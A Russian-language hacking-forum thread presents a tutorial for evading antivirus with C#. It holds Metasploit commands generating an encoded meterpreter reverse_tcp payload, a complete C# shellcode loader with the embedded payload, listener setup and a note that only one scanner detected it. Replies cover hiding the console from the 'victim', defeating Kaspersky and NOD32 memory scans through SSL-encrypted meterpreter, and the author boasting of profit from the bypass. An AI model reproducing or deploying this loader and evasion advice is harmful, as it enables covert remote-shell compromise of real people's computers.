Статья AV ByPass с помощью C#

Привет. Господа хекеры. Рассмотрим вариант байпасса антивирусов с помощью языка C#.

Обо всё предлагаю по порядку и для начала сгенерируем полезную нагрузку в метасплоите.
Код:
use windows/meterpreter/reverse_tcp
upload_2016-12-17_21-56-36.png

Устанавливаем опции
Код:
set LHOST 192.168.1.237
set LPORT 1338
set EXITFUNC thread
И генерируем нашу нагрузку для языка C#
Код:
generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp
upload_2016-12-17_22-7-18.png


А дальше берем нагрузку и вставляем в код ниже в переменную buf
Код:
using System;
using System.Runtime.InteropServices;

namespace ShellCodeByPass
{
    public class Program
    {
        [Flags]
        public enum AllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            RESET = 0x80000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000
        }

        [Flags]
        public enum MemoryProtection : uint
        {
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            GUARD_Modifierflag = 0x100,
            NOCACHE_Modifierflag = 0x200,
            WRITECOMBINE_Modifierflag = 0x400
        }

        public enum OpcodesToFree : uint
        {
            MEM_DECOMMIT = 0x4000,
            MEM_RELEASE = 0x8000
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, OpcodesToFree dwFreeType);

        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
        public delegate Int32 ExecuteDelegate();

        public static void Main(string[] args)
        {
            byte[] buf = new byte[624] {
                0x89,0xe7,0xdb,0xdc,0xd9,0x77,0xf4,0x5e,0x56,0x59,0x49,0x49,0x49,0x49,0x49,
                0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,
                0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,
                0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,
                0x69,0x6c,0x59,0x78,0x4c,0x42,0x45,0x50,0x63,0x30,0x37,0x70,0x33,0x50,0x4b,
                0x39,0x38,0x65,0x74,0x71,0x49,0x50,0x31,0x74,0x4e,0x6b,0x52,0x70,0x74,0x70,
                0x4c,0x4b,0x42,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x6e,0x6b,0x70,
                0x72,0x31,0x38,0x76,0x6f,0x38,0x37,0x63,0x7a,0x55,0x76,0x46,0x51,0x4b,0x4f,
                0x4e,0x4c,0x75,0x6c,0x30,0x61,0x73,0x4c,0x53,0x32,0x34,0x6c,0x51,0x30,0x4a,
                0x61,0x78,0x4f,0x66,0x6d,0x75,0x51,0x59,0x57,0x58,0x62,0x79,0x62,0x42,0x72,
                0x51,0x47,0x6e,0x6b,0x72,0x72,0x42,0x30,0x6e,0x6b,0x71,0x5a,0x47,0x4c,0x4c,
                0x4b,0x50,0x4c,0x72,0x31,0x61,0x68,0x39,0x73,0x50,0x48,0x77,0x71,0x38,0x51,
                0x32,0x71,0x4c,0x4b,0x43,0x69,0x31,0x30,0x43,0x31,0x4b,0x63,0x4e,0x6b,0x33,
                0x79,0x62,0x38,0x78,0x63,0x54,0x7a,0x61,0x59,0x4e,0x6b,0x70,0x34,0x6e,0x6b,
                0x35,0x51,0x69,0x46,0x54,0x71,0x49,0x6f,0x6c,0x6c,0x79,0x51,0x38,0x4f,0x74,
                0x4d,0x33,0x31,0x38,0x47,0x45,0x68,0x39,0x70,0x52,0x55,0x6c,0x36,0x46,0x63,
                0x33,0x4d,0x39,0x68,0x65,0x6b,0x51,0x6d,0x47,0x54,0x63,0x45,0x59,0x74,0x72,
                0x78,0x6c,0x4b,0x51,0x48,0x65,0x74,0x45,0x51,0x68,0x53,0x73,0x56,0x6e,0x6b,
                0x64,0x4c,0x32,0x6b,0x4e,0x6b,0x51,0x48,0x77,0x6c,0x46,0x61,0x7a,0x73,0x6e,
                0x6b,0x45,0x54,0x4c,0x4b,0x47,0x71,0x4a,0x70,0x6e,0x69,0x51,0x54,0x45,0x74,
                0x71,0x34,0x73,0x6b,0x61,0x4b,0x51,0x71,0x76,0x39,0x43,0x6a,0x70,0x51,0x6b,
                0x4f,0x4b,0x50,0x71,0x4f,0x63,0x6f,0x33,0x6a,0x6c,0x4b,0x55,0x42,0x4a,0x4b,
                0x4c,0x4d,0x33,0x6d,0x32,0x48,0x56,0x53,0x50,0x32,0x63,0x30,0x77,0x70,0x43,
                0x58,0x63,0x47,0x62,0x53,0x50,0x32,0x61,0x4f,0x53,0x64,0x35,0x38,0x50,0x4c,
                0x63,0x47,0x37,0x56,0x46,0x67,0x79,0x6f,0x7a,0x75,0x6d,0x68,0x5a,0x30,0x33,
                0x31,0x55,0x50,0x57,0x70,0x34,0x69,0x79,0x54,0x72,0x74,0x36,0x30,0x61,0x78,
                0x77,0x59,0x4b,0x30,0x72,0x4b,0x45,0x50,0x4b,0x4f,0x48,0x55,0x71,0x7a,0x56,
                0x65,0x31,0x78,0x77,0x4e,0x4e,0x56,0x45,0x62,0x6e,0x46,0x45,0x38,0x47,0x72,
                0x37,0x70,0x43,0x35,0x65,0x6a,0x4b,0x39,0x39,0x76,0x62,0x70,0x42,0x70,0x42,
                0x70,0x56,0x30,0x43,0x70,0x52,0x70,0x73,0x70,0x42,0x70,0x61,0x78,0x7a,0x4a,
                0x46,0x6f,0x79,0x4f,0x59,0x70,0x69,0x6f,0x6a,0x75,0x4f,0x67,0x33,0x5a,0x54,
                0x50,0x36,0x36,0x30,0x57,0x35,0x38,0x7a,0x39,0x79,0x35,0x70,0x74,0x71,0x71,
                0x39,0x6f,0x6e,0x35,0x4c,0x45,0x79,0x50,0x54,0x34,0x44,0x4c,0x39,0x6f,0x50,
                0x4e,0x75,0x58,0x30,0x75,0x68,0x6c,0x55,0x38,0x48,0x70,0x4d,0x65,0x4c,0x62,
                0x30,0x56,0x49,0x6f,0x4a,0x75,0x70,0x6a,0x57,0x70,0x50,0x6a,0x74,0x44,0x31,
                0x46,0x63,0x67,0x52,0x48,0x44,0x42,0x49,0x49,0x79,0x58,0x63,0x6f,0x4b,0x4f,
                0x48,0x55,0x4c,0x4b,0x70,0x36,0x32,0x4a,0x31,0x50,0x43,0x58,0x37,0x70,0x56,
                0x70,0x75,0x50,0x63,0x30,0x73,0x66,0x53,0x5a,0x63,0x30,0x55,0x38,0x30,0x58,
                0x49,0x34,0x33,0x63,0x5a,0x45,0x49,0x6f,0x49,0x45,0x4e,0x73,0x56,0x33,0x61,
                0x7a,0x73,0x30,0x52,0x76,0x73,0x63,0x52,0x77,0x53,0x58,0x63,0x32,0x68,0x59,
                0x48,0x48,0x53,0x6f,0x79,0x6f,0x7a,0x75,0x43,0x31,0x79,0x53,0x47,0x59,0x39,
                0x56,0x34,0x35,0x5a,0x4e,0x39,0x53,0x41,0x41
            };

            byte[] schell = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                schell[i] = Convert.ToByte(buf[i]);
            }

            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(schell.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
            System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");

            try
            {
                Marshal.Copy(schell, 0, baseAddr, schell.Length);
                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));

                del();
            }
            finally
            {
                VirtualFree(baseAddr, 0, OpcodesToFree.MEM_RELEASE);
            }
        }
    }
}
Далее поднимаем листенер
Код:
use exploit/multi/handler
set LHOST 192.168.1.237
set LPORT 1338
set PAYLOAD windows/meterpreter/reverse_tcp
upload_2016-12-17_22-38-21.png


И компилируемый наш билд
upload_2016-12-17_22-42-39.png


После компиляции и запуска получаем сессию
upload_2016-12-17_22-44-9.png


А теперь ссылка со сканом нашей малвари.
upload_2016-12-17_22-46-3.png

Только один антивирус задетектил
Ссылка на скан:

НЕ ЛИТЬ НА ВИРУСТОТАЛ
 
Последнее редактирование:

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Ах да комментарии по коду...
По факту мы выбераем текущий инстанс и создаем поток внутри памяти (поэтому надо заменить в пэйлоаде метасплоите что вывод будем делать в поток). Далее поток объявляем делегат нашей функции метрпретера которая кладет наш шелл код по адресу нашего нового потока.
 
C

cacaocaca

Great tutorial really Compliment and thanks for your code really but on your code cs you have set buffer byte[] buf = new byte[624] { while on msfconsole he is
byte[] buf = new byte[362] { I don t know if i wrong but i have already try with reverse_dns and have to edit the buffer for work ..If I say right this mean that need some time text the same number of buffer. Tell me if i wrong i do be one Programmer and again thanks .
 
C

cacaocaca

I don't be one Programmer i just be one stupid man that find the street of glory every moment .
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Great tutorial really Compliment and thanks for your code really but on your code cs you have set buffer byte[] buf = new byte[624] { while on msfconsole he is
byte[] buf = new byte[362] { I don t know if i wrong but i have already try with reverse_dns and have to edit the buffer for work ..If I say right this mean that need some time text the same number of buffer. Tell me if i wrong i do be one Programmer and again thanks .
Yes. The code contains the last payload. Later, when wrote the article i generated a new. Just replace buf[624] to buf[362]. Thanks
 
  • Нравится
Реакции: <~DarkNode~> и cacaocaca
L

linkevich.vlafimir

Код замечательно работает. Только интересно, как можно сделать чтобы окно консоли у жертвы запускалось в скрытом режиме. И чтобы исчезало после активной сессии.
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Создаешь консольное риложение - > Свойства проекта -> Консольное приложение меняешь на Приложение Windows
 
L

linkevich.vlafimir

Нее, это тема уже давно всем известна)))
 
S

SergANT85

Добрый день коллеги!

Обход антивируса на стадии запуска stage0 meterpreter это все конечно хорошо. я думаю что криптовка уже ушла на второй план, т.к в большей массе у людей/организаций установлена Win7+ и Win2k8 +, где замечательно можно закрепиться с помощью powershell + vbs. Антивирусы вяло на него реагируют. Хотя KAV тупа забанил у себя определенные функции powershell, из за чего могут страдать легальные скрипты, с командами и процедурами на скачивание и залив shellcode в память. Но разговор не об этом.

Допустим мы запустили exe со stage0, его не поймал AV, открылась сессия meterpreter'а. Если у вас стоит KAV или NOD32, вы сможете работать до тех пор, пока они не начнут сканировать память. Касперский это делает периодически, и детектит meterpreter, выдавая злобное сообщение. NOD32 же, не видит meterpreter, но как только начинаешь шупать системы, например вызываешь shell или миграцию, тут же орет на наличие meterpreter в памяти.

Видимо антивирусы эволюционируют, полгода назад такого я не наблюдал.

Могу предположить, что в перспективе meterpreter будет умирать, как средство для хакинга/пентеста.

Если есть мыли - было бы интересно услышать.
 
  • Нравится
Реакции: gushmazuko

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Добрый день коллеги!

Обход антивируса на стадии запуска stage0 meterpreter это все конечно хорошо. я думаю что криптовка уже ушла на второй план, т.к в большей массе у людей/организаций установлена Win7+ и Win2k8 +, где замечательно можно закрепиться с помощью powershell + vbs. Антивирусы вяло на него реагируют. Хотя KAV тупа забанил у себя определенные функции powershell, из за чего могут страдать легальные скрипты, с командами и процедурами на скачивание и залив shellcode в память. Но разговор не об этом.

Допустим мы запустили exe со stage0, его не поймал AV, открылась сессия meterpreter'а. Если у вас стоит KAV или NOD32, вы сможете работать до тех пор, пока они не начнут сканировать память. Касперский это делает периодически, и детектит meterpreter, выдавая злобное сообщение. NOD32 же, не видит meterpreter, но как только начинаешь шупать системы, например вызываешь shell или миграцию, тут же орет на наличие meterpreter в памяти.

Видимо антивирусы эволюционируют, полгода назад такого я не наблюдал.

Могу предположить, что в перспективе meterpreter будет умирать, как средство для хакинга/пентеста.

Если есть мыли - было бы интересно услышать.
Прежде чем такое говорить надо попробовать. Сейчас сам билд чистый по понятным причинам. А вот проблема с дапом памяти решается просто. Я шифрую SSL сертификатом весь траффик, который создает метерпретер. И эта техника на ура обходит NOD32 в частности так как именно этот антивирус установлен в моей конторе. Далее как эволюционируют антивирусы так же эволюционируют и средства их байпасса.
 
S

SergANT85

Прежде чем такое говорить надо попробовать. Сейчас сам билд чистый по понятным причинам. А вот проблема с дапом памяти решается просто. Я шифрую SSL сертификатом весь траффик, который создает метерпретер. И эта техника на ура обходит NOD32 в частности так как именно этот антивирус установлен в моей конторе. Далее как эволюционируют антивирусы так же эволюционируют и средства их байпасса.


Добрый день!

Я не предполагаю, я утверждаю что это так. Т.к имею несколько тестовых лабораторий.
Даже если Вы настроите так https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, то вы скрываете трафик в SSL, с помощью самоподписанного сертификата, что конечно даст повышения в безопастности, и скажем IDS или другая система не сможет прочитать что внутри.

Возьмите чистую ВМ с Win7x64 И накатите последнюю версию NOD32 v9 и запустите meterpreter.
Затем наберите shell – и нод спалит наличие вредоносного кода в памяти.
 

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Добрый день!

Я не предполагаю, я утверждаю что это так. Т.к имею несколько тестовых лабораторий.
Даже если Вы настроите так https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, то вы скрываете трафик в SSL, с помощью самоподписанного сертификата, что конечно даст повышения в безопастности, и скажем IDS или другая система не сможет прочитать что внутри.

Возьмите чистую ВМ с Win7x64 И накатите последнюю версию NOD32 v9 и запустите meterpreter.
Затем наберите shell – и нод спалит наличие вредоносного кода в памяти.

Ну значит руки явно не оттуда ибо,
upload_2017-3-20_16-3-27.png

Прокинул метерпретер и прописал shell
[doublepost=1490015245,1490015018][/doublepost]Я ещё раз говорю ни касперский ни Нода не детектит метерпретер если тот шифрован самоподписанным сертификатом или хуже того rc4 и только если гонять трафф через http или reverse tcp, только тогда детектит. И это уже проверено мной на той же ноде.
 

kot-gor

Well-known member
07.09.2016
529
705
BIT
0
подскажите как можно объединить вышеуказанный метод с ssl сертификатом?
 
S

SergANT85

Ну значит руки явно не оттуда ибо,
Посмотреть вложение 9437
Прокинул метерпретер и прописал shell
[doublepost=1490015245,1490015018][/doublepost]Я ещё раз говорю ни касперский ни Нода не детектит метерпретер если тот шифрован самоподписанным сертификатом или хуже того rc4 и только если гонять трафф через http или reverse tcp, только тогда детектит. И это уже проверено мной на той же ноде.


Добрый день!

Не поленился, потратил на это ответ свое время.

Руки у меня растут от туда, откуда и у Вас )))
Я тоже встречал, что NOD32 не детектит meterpreter, это обычно бывает в организация, где используют сервер для управления NOD на клиентских машинах. Я предполагаю, что просто не до настроен модуль HIPS.

Есть реальная VDSка с реальным доменом, handler и stage0 настроены в режиме «Meterpreter-Paranoid-Mode» о чем я писал выше.


Запускаем handler для meterpretera в metasploit’e на VSDке
000.jpg



Запускаем stage0 на виртуалке Windows 7 x 64 + последний NOD32 AV

Стартует сессия – все ок, но как только я набираю shell, NOD её блокирует и детектит в памяти вирус:


001.jpg


вот что в виртуалке:
002.jpg
 
S

SergANT85

подскажите как можно объединить вышеуказанный метод с ssl сертификатом?

Добрый день!

Нужно сделать как написано тут https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode, только для создания payload использовать вот эту команду generate -e x86/shikata_ga_nai -b '\x00' -i 3 -t csharp и вставить в код C#
 
  • Нравится
Реакции: kot-gor

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Я не заню чем вы прокидываете шелл и как вы шифруете трафик. Но я могу снять видос как байпассится NOD32 тем что прокидывается метерпререт х64 метерпретер. Более того эо байпасс абсолютный. Я тонну профита с этог уже поимел.
 
  • Нравится
Реакции: MrNik
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!